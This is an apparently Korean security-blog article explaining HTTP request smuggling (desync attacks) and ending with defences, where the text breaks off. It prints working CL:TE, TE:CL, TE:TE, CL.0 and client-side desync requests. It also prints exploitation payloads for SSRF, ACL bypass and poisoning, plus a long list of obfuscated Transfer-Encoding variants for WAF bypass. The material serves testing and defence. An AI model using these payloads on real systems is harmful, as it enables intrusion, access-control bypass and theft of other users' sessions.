๐ Introduction
HTTP Request Smuggling์ network hops๋ก ๊ตฌ์ฑ๋ ํ๊ฒฝ์์ ๊ฐ ๊ตฌ๊ฐ์ ์๋ฒ, ์ฅ๋น ๋ฑ์์ HTTP Request๋ฅผ ์ฒ๋ฆฌํ ๋ ์ฐจ์ด์ ์ผ๋ก ์ธํด ๋ฐ์ํ๋ ๋ฌธ์ ์ ๋๋ค. ๋ณดํธ์ ์ผ๋ก Content-Length์ Transfer-Encoding์ ๋์์ ์ ๋ฌํ์ฌ ๊ตฌ๊ฐ ๋ณ๋ก HTTP Reuqest์ ๊ธธ์ด๋ฅผ ์ ๋ชป ์ธ์งํ๋๋ก ์ ๋ํฉ๋๋ค.
๊ธธ์ด๊ฐ ์ฐจ์ด๊ฐ ๋๋ ๊ฒฝ์ฐ ๊ฐ ์๋ฒ๊ฐ ์ธ์งํ๋ ๊ธธ์ด๊ฐ ๋ค๋ฅด๊ธฐ ๋๋ฌธ์ ์์ฒญ์ ์ผ๋ถ๊ฐ ์๋ฆฌ๊ฒ ๋๊ณ , ์ด๋ ๋ค์ ์์ฒญ์์ ์์ผ์์ผ๋ก ๋ถ์ด์ ์ฒ๋ฆฌ๋ฉ๋๋ค. ์ด๋ฅผ HTTP Request Smuggling์ด๋ผ๊ณ ๋ถ๋ฆ ๋๋ค. ์ฌ๊ธฐ์ LB์ ๊ฐ์ด ๋ก๋ ๋ฐธ๋ฐ์ฑ์ ํ๋ ๊ตฌ์กฐ๋ผ๋ฉด, ๋ณธ์ธ ๋๋ ํ ์ฌ์ฉ์์ ์์ฒญ์ ์์ผ์ด ๋ฌผ๋ฆด ์๋ ์๋๋ฐ ์ด๋ฌํ ๊ฒฝ์ฐ HRS์ ์ํฅ์ ๋ฐ์ต๋๋ค. ๋น์ทํ ์ฉ์ด๋ก Desync Attack์ผ๋ก๋ ๋ถ๋ฆฝ๋๋ค.
Exploitaion ๋ถ๋ถ์๋ ์ค๋ช ๋์ด ์์ง๋ง HRS๋ SSRF, Bypass ACL ๋ฑ ์ฌ๋ฌ๊ฐ์ง ๋ณด์ ๋ฌธ์ ๋ฅผ ๋จ์ผ ์ฌ์ฉ์ ๋๋ ๊ด๋ฒ์ํ ์ฌ์ฉ์๋ฅผ ๋์์ผ๋ก ๋ฐ์์ํฌ ์ ์์ด ๋ฆฌ์คํฌ๊ฐ ๋์ต๋๋ค.
HTTP Request Smuggling (Desync Attack)์ ์ํฅ๋ฐ๋ ํผํด์ ๋์์ด ๋ช ํํ์ง ์์ต๋๋ค. ์๋น์ค์ ํ๊ฒฝ, ๊ณต๊ฒฉ์์ ํ๊ฒฝ, ๊ธฐ์ ๋ฑ ์ฌ๋ฌ๊ฐ์ง ์กฐ๊ฑด์ ๋ฐ๋ผ์ ๊ณต๊ฒฉ์์ ์ธ์ ์์๋ง ์ ํจํ ์๋ ์๊ณ , ํน์ ๋ฒ์์ ์ฌ์ฉ์ ๋์ญ ๋๋ ์๋น์ค์ ์ ๊ทผํ ์ ์๋ ๋ชจ๋ ์ฌ์ฉ์์๊ฒ ์ํฅ์ ๋ผ์น ์๋ ์์ต๋๋ค. ๋ค๋ง ๊ณต๊ฒฉ์ ์ธ์ ์์๋ง ์ ํจํ๋ค๊ณ ํ์ฌ๋ SSRF ๋ฑ ์๋ฒ๋ฅผ ๋์์ผ๋ก๋ ํ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ฆฌ์คํฌ๋ ๋๋ค๊ณ ์๊ฐํฉ๋๋ค.
Background
Content-Length
Content-Length๋ ๋๋ค์์ ์น ์์ฒญ์์ ๊ธฐ๋ณธ์ ์ผ๋ก ์ฌ์ฉํ๋ ๊ธธ์ด์ ๋ํ ํค๋์ ๋๋ค. HTTP Body์ ๊ธธ์ด๋ฅผ Content-Length ํค๋์ ํฌํจํ์ฌ ๊ฐ์ด ์ ๋ฌํฉ๋๋ค.
POST / HTTP/1.1
Host: www.hahwul.com
Content-Length: 4
asdf
๋ง์ฝ ์ค์ Content-Length์ Body์ ๊ฐ์ ๊ธธ์ด๊ฐ ๋ค๋ฅด๋ค๋ฉด ์์ฒญ์ด ์๋ฆฌ๊ฑฐ๋(CL ํค๋๊ฐ ์์ ๊ฒฝ์ฐ), ๊ธฐ๋ค๋ฆฌ๋ค๊ฐ Timeout(CL ํค๋๊ฐ ๋ ํฐ ๊ฒฝ์ฐ)์ด ๋ฐ์ํฉ๋๋ค.
Chunked
Transfer-Encoding: chunked
๋ ์คํธ๋ฆฌ๋ฐ ๋ฑ ๋์ฉ๋ ํ์ผ ์ ์ก์ ์ํด ๊ณ ์๋ HTTP ํค๋์
๋๋ค. Connetion ๋จ์๋ก ๋ฐ์ดํฐ์ ์์๊ณผ ๋์ ํ๋ฒ์ ์ฒ๋ฆฌํ๋ ์ผ๋ฐ์ ์ธ HTTP Request์ ๋ค๋ฅด๊ฒ chunked๋ ์์ฒญ์ ํ๋์ ๋ฐ์ดํฐ๊ฐ ์ฌ๋ฌ๋ฒ์ HTTP Request๋ก ๊ตฌ์ฑ๋ ์ ์๋๋ก ์ง์ํฉ๋๋ค. ํฌ๋งท์ ์๋์ ๊ฐ์ต๋๋ค.
HTTP body
๊ธธ์ด\r\n
๊ฐ\r\n
๊ธธ์ด\r\n
๊ฐ\r\n
์์ ๊ฐ์ด 2๊ฐ์ ๋ผ์ธ์ ๊ธฐ์ค์ผ๋ก ๊ธธ์ด์ ๊ฐ์ผ๋ก ํ๊ธฐํฉ๋๋ค. ํด๋น ์์ฒญ์ ์ฌ๋ ค๋ฒ์ HTTP Reuqest๋ก ์ ๋ฌ๋์ด๋ ํ๋์ ๋ฐ์ดํฐ๋ก ๋ณด๋ฉฐ, ๋ง์ง๋ง์ ๋๋งบ์์ ์๋ฏธํ๋ 0\r\n
์ด ์๋ ๊ฒฝ์ฐ์ ์ ์ฒด ๋ฐ์ดํฐ ์ ์ก์ด ์๋ฃ๋์๋ค๊ณ ํ๋จํ๊ฒ ๋ฉ๋๋ค. 0\r\n
์ด ๋์ฐฉํ์ง ์๋๋ค๋ฉด ์๋ฒ๋ ์์ฒญ์ ๊ณ์ ๊ธฐ๋ค๋ฆฌ๊ฒ ๋ฉ๋๋ค. ์ค์ ์์๋ก ๋ณด๋ฉด ์๋์ ๊ฐ์ต๋๋ค.
POST / HTTP/1.1
Host: www.hahwul.com
Transfer-Encoding: chunked
3
ABC
0
์ ์์ฒญ์์ 3์ ์๋์์ ์ฌ์ฉํ๋ ABC์ ๊ธธ์ด, ๋๋ฒ์งธ ์ค์ธ ABC๋ ๊ฐ ๊ทธ๋ฆฌ๊ณ ๋ง์ง๋ง์ 0์ ์์ฒญ์ ๋ง์ง๋ง์ ์๋ฏธํฉ๋๋ค. HTTP ์์ฒญ์ ๋๋ ์ ์ ์กํ๋ ๊ฒฝ์ฐ ์ด๋ฌํ ์์ฒญ์ด ๋ฐ์ํ ๊ป๋๋ค.
Request 1
POST / HTTP/1.1
Host: www.hahwul.com
Transfer-Encoding: chunked
3
ABC
Request 2
POST / HTTP/1.1
Host: www.hahwul.com
Transfer-Encoding: chunked
2
AB
0
Testing Method
์ ๋ด์ฉ๊น์ง ๊ธ์ ์ฝ์๋ค๋ฉด Content-Length(CL) ํค๋์ Transfer-Encoding(TE) ํค๋๊ฐ ์ด๋ป๊ฒ ๋์ํ๋์ง ์ ์ ์์ต๋๋ค. ์์ ์ ์ด 2๊ฐ์ ํค๋๊ฐ ๋์์ ์ ๋ฌ๋์์ ๋ ์ฌ๋ฌ๊ฐ์ network hops์์ ์๋ก ๋ค๋ฅด๊ฒ ์ฒ๋ฆฌํ๊ฒ ํ์ฌ ๊ฐ์ ๋ก ์์ฒญ์ ์๋ฆฌ๊ฒ ๋ง๋๋ ๋ฐฉ๋ฒ์ ๋๋ค.
๊ฐ์ธ์ ์ผ๋ก ์๊ฐํ ๋ 4๊ฐ ์ ๋์ ํ๋ก์ฐ๋ก ์งํํ๋ฉด, ์ทจ์ฝ ํฌ์ธํธ ๋ฐ๊ฒฌ๋ถํฐ ์ค์ ์ํฅ๋ ฅ ๊ฒ์ฆ๊น์ง ํ ์คํธํ๊ธฐ ์ฝ์ต๋๋ค.
Step | Actions |
---|---|
1 | Smuggling point ์ฐพ๊ธฐ(BurpSuite Scanning / smuggler.py / ์๋ ํ ์คํ ) |
2 | Delay ์ ๋ํ๊ธฐ. CL / TE๊ฐ์ ๊ด๊ณ๋ฅผ ์ด์ฉํด์ ์๋ณธ ์์ฒญ๋ณด๋ค ๋๋ ์ด๊ฐ ๊ธธ์ด์ง๊ฑฐ๋ Gateway Timeout ๋ฑ์ ์ ๋ |
3 | Delay๊ฐ ์ ๋๋ ๊ฒฝ์ฐ Smuggling์ ๊ฐ๋ฅ์ฑ์ด ์กด์ฌํ๊ธฐ ๋๋ฌธ์ ์ค์ Size ์กฐ์ ์ ํตํด ์์ฒญ์ ๋ถ๋ฆฌํ์ฌ ํ
์คํธ - ๋ณดํต ์์ดํ Status code๋ฅผ ๊ฐ์ง ํ์ด์ง 2๊ฐ๋ฅผ ์ด์ฉํ์ฌ ํ ์คํ - e.g Req1=200OK , Req2=301,400,404,500, etcโฆ - Smuggling ์์ฒญ(Req1) ์ดํ์ ๋์ผ ํ์ด์ง ์์ฒญ(Req1)์์ Smuggled ๋ Response(Req2)๊ฐ ์ฒ๋ฆฌ๋๋ฉด ์ทจ์ฝ |
4 | Smuggilng์ ํตํด ๋ฐ์ํ ์ ์๋ ๋ฆฌ์คํฌ ํ ์คํธ (Exploiting ๊ณผ์ ) |
@albinowax(James Kettle)์ด ์ ์ํ ํ ์คํ ๋ฉ์๋์์ ์๊ฐ์ ๋ํ ์ด์ผ๊ธฐ๋ฅผ ์ค์ ์ ์ผ๋ก ํ๋๋ฐ, ์ค์ Smuggling ์ผ์ด์ค์์ Timeout์ด ์๋ ๊ฒฝ์ฐ๋ ์์ผ๋ ์ด ์ ์ธ์งํ๊ณ ํ ์คํธํ์๋๊ฒ ์ข์ต๋๋ค.
Attack Types
CL:TE
CL:TE ๋ CL๊ณผ TE ํค๋๊ฐ ๋์์ ์ ์ก๋์์ ๋ hops์์ ์๋จ์ ์๋ฒ๊ฐ CL์ ์ ๋ขฐํ๊ณ , ๋ฐฑ์๋ ์๋ฒ๊ฐ TE๋ฅผ ์ ๋ขฐํ ๋ ๋ฐ์ํ๋ ์ผ์ด์ค์
๋๋ค. ์๋์ ๊ฐ์ด ์น ์์ฒญ์ ์ ์กํ๊ฒ ๋๋ฉด CL์ 13์ด๊ธฐ ๋๋ฌธ์ Request ์ ๋ฌธ์ ๋ชจ๋ ๋ฐฑ์๋๋ก ๋ณด๋ด๊ฒ๋๊ณ , ๋ฐฑ์๋์์ TE๋ฅผ ๋ณด๊ณ ์๋๋ฐ, 0\r\n
์ด ์๊ธฐ ๋๋ฌธ์ ์์ฒญ์ ๋ง๋ฌด๋ฆฌํฉ๋๋ค. ๊ทธ๋ฌ๋ฉด SMUGGLED๋ผ๋ ๋ฌธ์์ด์ ์ฒ๋ฆฌ๋์ง ์์์ฑ ์์ผ์ ๋จ์์๊ฒ ๋ฉ๋๋ค.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
์ด ์์ฒญ์ด ๋ค์์ ์น ์์ฒญ์ด ๋ค์ด์์ ๋ ์๋์ ๊ฐ์ด ๊ฒฐํฉ๋ฉ๋๋ค.
SMUGGLEDPOST /page HTTP/1.1
Host: vulnerable-website.com
์ด๋ก์จ ์ฐ๋ฆฌ๋ ๋ค์ ์์ฒญ์ ์ ์ฒด Request๋ฅผ ๋ณ์กฐํ๊ฒ ๋ ์ ์์ต๋๋ค. ์ด๋ฅผ ์ด์ฉํด์ Host ํค๋๋ฅผ ๋ฐ๊พธ๊ฑฐ๋ ์น ํ์ด์ง๋ฅผ ๋ฐ๊พธ๋ ๋ฑ์ ํ์๊ฐ ๊ฐ๋ฅํฉ๋๋ค. Attack ์ ๋ํ ๋ด์ฉ์ ์๋ Offensive techniques ๋ถ๋ถ์์ ์กฐ๊ธ ๋ ์์ธํ ๋ค๋ฃจ๊ฒ ์ต๋๋ค.
TE:CL
CL:TE์๋ ๋ฐ๋๋ก ํค๋๊ฐ ๋์ ์ ์ก๋์์ ๋ TE:CL์ ํ๋ก ํธ ์๋ฒ๊ฐ TE๋ฅผ ์ ๋ขฐ, ๋ฐฑ์๋๋ CL์ด ์ ๋ขฐ๋ฐ๋ ๊ฒฝ์ฐ์
๋๋ค. ์๋์ ๊ฐ์ด ์น ์์ฒญ์ด ์ ์ก๋๋ฉด ์๋จ ์๋ฒ๋ TE๋ฅผ ์ ๋ขฐํ๊ธฐ ๋๋ฌธ์ ์์ฒญ ์ ๋ฌธ(0\r\n
๊น์ง์ ๋ฐ์ดํฐ)์ ๋ฐฑ์๋๋ก ์ ์กํ๊ฒ ๋๊ณ , ๋ฐฑ์๋๋ CL ํค๋๋ฅผ ๋ณด๊ธฐ ๋๋ฌธ์ 3 ๊ธธ์ด์ ๊ฐ(8\r\n)๋ง ์ฌ์ฉํ๊ณ ๋๋จธ์ง๋ ๋ฒ๋ ค์ง๊ฒ ๋ฉ๋๋ค. ์ด๋ก์ธํด SMUGGLED ๋จ์ด ์ดํ๋ถํด ์ฒ๋ฆฌ๋์ง ์๊ณ ์์ผ์ ๋จ์๊ธฐ ๋๋ฌธ์ ๋ค์ ์์ฒญ์์ ๊ฒฐํฉ๋์ด ์ฌ์ฉ๋ฉ๋๋ค. (๋ฐฉ์์ CL:TE์ ๋์ผํฉ๋๋ค)
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
TE:TE
TE:TE๋ Transfer Encoding์ ๋น์ ์์ ์ธ ๋ฐฉ๋ฒ(์์ ํญ์ด๋ ๊ณต๋ฐฑ ์ถ๊ฐ)์ผ๋ก ์ ์ก ํ์ ๋ ๊ฐ ์๋ฒ๊ฐ์ ์ฐจ์ด๋ก ์ธํด์ ์๋ก TE๋ฅผ ์ฒ๋ฆฌํ ๋ฐฉ์์ด ๋ค๋ฆ์ ์ด์ฉํ ์ผ์ด์ค์ ๋๋ค. Hops๊ฐ ๋ง์ผ๋ฉด ๋ณดํต TE:TE๋ก ๋ถ๋ฅด์ง ์์ง๋ง, ๋จ์ํ ๊ฒฝ์ฐ TE:TE๋ก ์ด์ผ๊ธฐํ๊ธฐ๋ ํฉ๋๋ค.
์๋ฅผ๋ค๋ฉด ์ด๋ฌํ ์ผ์ด์ค์ ๋๋ค.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
Transfer-Encoding: identity
8
SMUGGLED
0
A ์๋ฒ๋ ๊ณต๋ฐฑ์ด ํฌํจ๋ ` Transfer-Encoding: chunked ๋ฅผ ์ ๋ขฐํ์ฌ
0\r\n ๊น์ง ํ์ธ ํ ๋ฐฑ์๋๋ก ์ ๋ฌํฉ๋๋ค. ๋ฐฑ์๋์์
Transfer-Encoding: identity` ๋ฅผ ์ ์์ ์ธ TE ํค๋๋ก ์ ๋ขฐํ ๊ฒฝ์ฐ ์์ TE์ ๋ค์ TE๋ ์๋ก ๋ค๋ฅธ ์ฒ๋ฆฌ ๋ฐฉ์์ ๊ฐ์ง๊ธฐ ๋๋ฌธ์ ์ด๋ก ์ธํด์ ์์ฒญ์ด ์๋ฆฌ๊ฒ ๋ฉ๋๋ค.
CL.0
์ผ๋ฐ์ ์ธ Request Smuggling์ Content-Length์ ๋ค๋ฅธ ๊ธธ์ด๋ฅผ ์๋ฏธํ๋ ํค๋(e.g Transfer-encoding: chunked)์ ์กฐํฉํ์ฌ ์ฐ๊ฒฐ๋ ์ฌ๋ฌ ์์คํ ๊ฐ์ ๋ถ์ผ์น๋ฅผ ์ ๋ํ์ฌ ์ค๋จธ๊ธ๋งํฉ๋๋ค. ๋ค๋ง ๋๋๋ก ์๋ฒ ์ค์ ์ ๋ฐ๋ผ Content-Length ์์ฒด๋ฅผ ๋ฌด์ํ ์๋ ์๋๋ฐ, ์ด๋ฌํ ๊ฒฝ์ฐ CL.0 Request Smuggling์ด๋ผ๊ณ ํํํฉ๋๋ค.
์ผ๋ถ API Endpoint ๋ฑ์์ Content-Length ํค๋๋ฅผ ์ ๋ขฐํ์ง ์๋ ๊ฒฝ์ฐ๊ฐ ์์ต๋๋ค. ํนํ GET๋ง ์ฌ์ฉํ๊ธฐ ์ํ ๋ชฉ์ ์ API์ ๊ฒฝ์ฐ Body๊ฐ ์์๋๋ Req๊ฐ ์๋๊ธฐ ๋๋ฌธ์ ์ ๋ขฐํ์ง ์๋ ๊ฒฝ์ฐ๊ฐ ์๋๋ฐ ํด๋น API๋ก ์ง์ ํ๋ Hops ์ค ์ผ๋ถ ๊ตฌ๊ฐ์์ Content-Length๋ฅผ ์ ๋ขฐํ๋ค๋ฉด Hops๊ฐ์ ํค๋ ์๋ณ์ ์ฐจ์ด๊ฐ ๋ฐ์ํ์ฌ ๊ฒฐ๊ณผ์ ์ผ๋ก Smuggling์ด ๋ฐ์ํฉ๋๋ค.
ํ์ค์์๋ ๋ชจ๋ ์์ฒญ์ ๊ทธ๋๋ก ๋๊ฒจ์ฃผ๋ LB ๋๋ ๋คํธ์ํฌ ์ฅ๋น์ CL ํค๋๋ฅผ ์ ๋ขฐํ์ง ์๋ App ๊ฐ์์ ์์ฃผ ๋ฐ์ํฉ๋๋ค.
POST /vulnerable-endpoint HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
GET /hopefully404 HTTP/1.1
Foo: x
ํน์ดํ ์ ์ Content-Length ๊ธธ์ด๊ฐ ์์๋ก ์กฐ์๋ ๊ธธ์ด๊ฐ ์๋๊ธฐ ๋๋ฌธ์ Burp, ZAP, curl ๋ฑ์ ๋๊ตฌ์์ ์ง์ ํธ์ถ์ด ์๋, Javascript ํํ๋ก๋ ๊ตฌ์ฑํ ์ ์๋ค๋ ์ ์ ๋๋ค. ์ด๋ฌํ ์ ์ ์๋ CSD(Client-Side Desync) Attack์ ์ํฅ์ ์ค ์ ์์ต๋๋ค.
CSD Attack
CSD(Client-Side Desync) Attack์ ๋ธ๋ผ์ฐ์ ์์ ๋์ ๊ฐ๋ฅํ Desync Attack์ ๋๋ค. ๋ณ๋๋ก ์์ฑํ์์ผ๋ ์์ธํ ๋ด์ฉ์ ์๋ ๋ฌธ์๋ฅผ ์ฐธ๊ณ ํด์ฃผ์ธ์.
fetch('https://vulnerable-website.com/api/me', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nFoo: x",
mode: 'no-cors', // ensure connection ID is visible
credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
location = 'https://vulnerable-website.com/' // use the poisoned connection
})
๐ก Offensive techniques
์น ์์ฒญ์ ๋ณ์กฐํ ์ ์๊ธฐ ๋๋ฌธ์ ์ฌ๋ฌ๊ฐ์ง์ Exploiting ๋ฐฉ๋ฒ๋ค์ด ์กด์ฌํฉ๋๋ค. ํ์ฉํ๊ธฐ ๋๋ฆ์ด๊ฒ ์ง๋ง ๋ํ์ ์ผ๋ก ์ฌ์ฉํ๋ ๋ฐฉ๋ฒ๋ค ๋ช๊ฐ์ง๋ฅผ ์ ๋ฆฌํด๋ด ๋๋ค.
Detect
ํ์ง ๋ฐฉ๋ฒ์ ๊ฐ๋จํฉ๋๋ค. ์ฌ์ด์ฆ๊ฐ ๋ค๋ฅธ Content-Length, Transfer-Encoding์ ๋์์ ๋ณด๋ด์ Delay๋ฅผ ์ ๋ํ๋ ๋ฐฉ๋ฒ์ผ๋ก ์ฝ๊ฒ ์ฒดํฌํ ์ ์์ต๋๋ค.
TE:CL์ ์๋ฅผ๋ค์ด ๋ณด๋ฉด ์ด๋ ์ต๋๋ค.
1) ์๋ ์์ฒญ์ CL์ 11, TE๋ 0\r\n
๊น์ง๋ก ์๋ฆฌ๋ ๋ถ๋ถ ์์ด ์ ์ ์์ฒญ์
๋๋ค.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 11
Transfer-Encoding: chunked
1
A
0
2) ์๋ ์์ฒญ์ CL์ 11๋ก ์ ์์ด์ง๋ง, TE๊ฐ 0\r\n
์ผ๋ก ๋๋์ง ์์๊ธฐ ๋๋ฌธ์ ๋ฐฑ์๋์ Transfer Encoding์ ์ ๋ขฐํ๋ ์๋ฒ๋ connection keep-alive ์ํ๋ก 0\r\n
์ด ์ฌ๋๊น์ง ๋๊ธฐํ๊ฒ ๋ฉ๋๋ค. ์ด๋ก ์ธํด์ delay๊ฐ ๋ฐ์ํ๋ฉฐ ์ด๋ ์ทจ์ฝ ์๋ฒ์ผ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 11
Transfer-Encoding: chunked
1
A
T
Exploitation
SSRF
๊ฐ์ฅ ๊ธฐ๋ณธ์ ์ธ ๋ฐฉ๋ฒ์ Host ํค๋ ๋ฑ์ ์กฐ์ํ์ฌ ๋ด๋ถ๋ก์ ์ ๊ทผ์ ์ ๋ํ๋ ๋ฐฉ๋ฒ์ ๋๋ค. ์๋ ค์ง ์์ฒญ์ ์์์ ์ ๋ด๋ถ์ด๊ธฐ ๋๋ฌธ์ Smuggling์ ํตํด ๋ด๋ถ์์คํ ๋ฑ์ ์ ๊ทผํ ์ ์๋ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 50
Transfer-Encoding: chunked
0
GET / HTTP/1.1
Host: internal-service-host-name
Bypass ACL
๋๋๋ก IP ๊ธฐ๋ฐ์ผ๋ก ACL์ด ์กด์ฌํ๋ ๊ฒฝ์ฐ๊ฐ ์๋๋ฐ, ์ด๋ฅผ ์ฐํํ๋๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 37
Transfer-Encoding: chunked
0
GET /api/v2/internal-apis HTTP/1.1
Poisoning
ํ ์ฌ์ฉ์์๊ฒ ์ํฅ์ ์ฃผ๋ Desync attack์ ๊ฒฝ์ฐ ํ์ฉ๋๊ฐ ๋ฌด๊ถ๋ฌด์งํฉ๋๋ค. ๋ํ์ ์ผ๋ก ํ ์ฌ์ฉ์๊ฐ ๋ก๋ํ๋ ๋ฆฌ์๋ฅด๋ฅผ ํต์ ํ ์ ์๋ค๋ ์ ์ธ๋ฐ ์ด๋ฅผ ํตํด์ XSS๋ฅผ ์ ๋ํ๊ฑฐ๋ ์ธ์ฆ์ ๋ณด๋ฅผ ํ์ทจํ๋ ๋ฑ ๊ด๋ฒ์ํ ํ์ผ์ผ๋ก ์์ค ๋์ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํด์ง๋๋ค.
- ์ ์ฑ ๋๋ฉ์ธ์ผ๋ก Redirect (Host ํค๋ ๋ณ์กฐ)
- 404 ์ ๋ (DOS)
- Header ๊ธฐ๋ฐ XSS (์ผ๋ฐ์ ์ผ๋ก ํค๋ ๊ธฐ๋ฐ XSS๋ ์ค์ ํธ๋ฆฌ๊ฑฐํ๊ธฐ ์ด๋ ต์ง๋ง, Desync attack์ด ์๋ค๋ฉด ์ฌ์์ง๋๋ค)
- ์ค์์ ๋ณด ์ ์ถ(ํค๋์ ๋ท ๋ถ๋ถ์ด ์๋ ค์ ๋ถ๊ธฐ ๋๋ฌธ์ Host ํค๋ ๋ณ์กฐ ๋ฑ์ผ๋ก ์ ์ฑ ๋๋ฉ์ธ์ผ๋ก ์ธ์ฆ ์ฟ ํค๋ ํค๋ ๋ฑ์ ์ ๋ณด๋ฅผ ์ ์ถ์ด ๊ฐ๋ฅํจ
Bypass protection
Normalization Attack
Use IDN Char(%f9). IDN ๋ฌธ์๋ ์๋ฒ/์ฑ ๋ณ๋ก ์ฒ๋ฆฌํ๋ ๋ฐฉ์์ด ๋ค๋ฅด๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ํ์ฉํ์ฌ ์ฐํํ ์ ์์ต๋๋ค.
Transfer-Encoding: chรนnked
\x00
Transfer-Encoding: \x00chunked
Bypass WAF
Foo: bar\r\n\rTransfer-Encoding: chunked
And Many patterns
%c: 0x1,0x4,0x8,0x9,0xa,0xb,0xc,0xd,0x1F,0x20,0x7f,0xA0,0xFF,0x7F,0x100 ๋ฑ
Transfer-Encoding: chunked
%cTransfer-Encoding%c: chunked
%cTransfer-Encoding: chunked
%cTransfer-Encoding: chunked%c
%cTransfer-Encoding:%cchunked
Content-Encoding: chunked
TRANSFER-ENCODING: CHUNKED
TrAnSFer-EnCODinG: cHuNkeD
Transf\x82r-Encoding: chunked
Transfer Encoding: chunked
Transfer Encoding:chunked
Transfer-Encoding : chunked
Transfer-Encoding%c: chunked
Transfer-Encoding%c: chunked%c
Transfer-Encoding%c:%cchunked
Transfer-Encoding: chunked
Transfer-Encoding: 'chunked'
Transfer-Encoding: \
Transfer-Encoding: ch\x96nked
Transfer-Encoding: chunk
Transfer-Encoding: chunked%c
Transfer-Encoding: chunked%cX: X
Transfer-Encoding: chunked%c\nX: X
Transfer-Encoding: chunked, cow
Transfer-Encoding: chunked\r
Transfer-Encoding: chunked\r%cX: X
Transfer-Encoding: chunked\t
Transfer-Encoding: cow chunked bar
Transfer-Encoding: cow, chunked
Transfer-Encoding: cow\r\nTransfer-Encoding: chunked
Transfer-Encoding:%cchunked
Transfer-Encoding:%cchunked%c
Transfer-Encoding:\n chunked
Transfer-Encoding:\tchunked
Transfer-Encoding:\u000Bchunked
Transfer-Encoding:\xFFchunked
Transfer-Encoding\t:\tchunked
Transfer\r-Encoding: chunked
Transfer_Encoding: chunked
X: X%cTransfer-Encoding: chunked
X: X%c\nTransfer-Encoding: chunked
X: X\r%cTransfer-Encoding: chunked
X:X\nTransfer-Encoding: chunked
X:X\rTransfer-Encoding: chunked
HRS with chunked extension
Transfer-Encoding: chunked
์ extension์ ์ด์ฉํ์ฌ TE:TE๋ 3hops ์ด์์์์ HTTP Request Smuggling ๋ฐ์์ํฌ ์ ์์ต๋๋ค.
GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
2;\nxx
4c
0
GET /admin HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
0
์์ธํ ๋ด์ฉ์ โNew technic of HTTP Request Smuggling (chunked extension)โ ๊ธ์ ์ฐธ๊ณ ํด์ฃผ์ธ์. (์ถํ ์ปฌ๋ฆฌ๋ ํ์ด์ง์๋ ์์ธํ๊ฒ ์ ๋ฐ์ดํธํ๊ฒ ์ต๋๋ค.)
๐ก Defensive techniques
Vendor and Library ๋จ Patch
๊ฐ์ฅ ๊ฐํธํ ๋ฐฉ๋ฒ์ ๋์๋ฐฉ๋ฒ์ ๋๋ค. ๊ฐ ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ ์ฅ๋น, ์๋ฒ์ ๊ฒฝ์ฐ ๊ฐ๋ณ์ ์ผ๋ก ํจ์น๋ฅผ ์ ๊ณตํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์๋ฐ ์ด๋ฅผ ์ด์ฉํ์ฌ ์ทจ์ฝ์ ์ ์ ๊ฑฐํ ์ ์์ต๋๋ค. ๋ณดํต Bypass๋ฅผ ์ํ chunked ํค๋๋ฅผ ์ ๊ฑฐํ๋ ํํ, CL๊ณผ TE ํค๋๊ฐ ๋์ ์ ๋ฌ์ ๋ง๋ ๋ฐฉ์์ผ๋ก ์ ์ฉํ ๊ฒ์ผ๋ก ์๊ณ ์์ต๋๋ค.
์ด๋ฌํ ์ผ์ด์ค์ธ ๊ฒฝ์ฐ CVE๋ฅผ ๊ฐ์ง๊ณ ์์ ๊ฐ๋ฅ์ฑ์ด ์๊ธฐ ๋๋ฌธ์ ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ ์์น๋ฅผ ์ ํํ๊ฒ ํ์ ํ ํ ์ฅ๋น, ์๋ฒ๋ฑ์ ๋ฌธ์ ๋ผ๋ฉด ํจ์น๋ฅผ ํตํด ํด๊ฒฐํ ์ ์์ต๋๋ค.
๋น์ ์์ ์ธ ์์ฒญ ์ฐจ๋จ
CL, TE๊ฐ ๋์์ ์กด์ฌํ๋ ์น ์์ฒญ์ ์ ๋ง ์ผ๋ฐ์ ์ด์ง ์์ต๋๋ค. ์๋ฒ/์ดํ๋ฆฌ์ผ์ด์ ๋ฑ์์ ๋์์ ์ค๋ ๊ฒฝ์ฐ ์ฒ๋ฆฌํ์ง ์๋๋ก ํ๋ค๋ฉด ํด๋น ์ทจ์ฝ์ ์ ๋ง์ ์ ์์ต๋๋ค. ๋ค๋ง ์ด ๊ฒฝ์ฐ์ ์ฐํํจํด์ผ๋ก ๋ฌด์ํ ์ ์๋ ๊ฐ๋ฅ์ฑ์ด ์๊ธฐ ๋๋ฌธ์ ๊ผผ๊ผผํ ๊ฒ์ฆ์ด ํ์ํฉ๋๋ค.
Unabled Transfer-Encoding
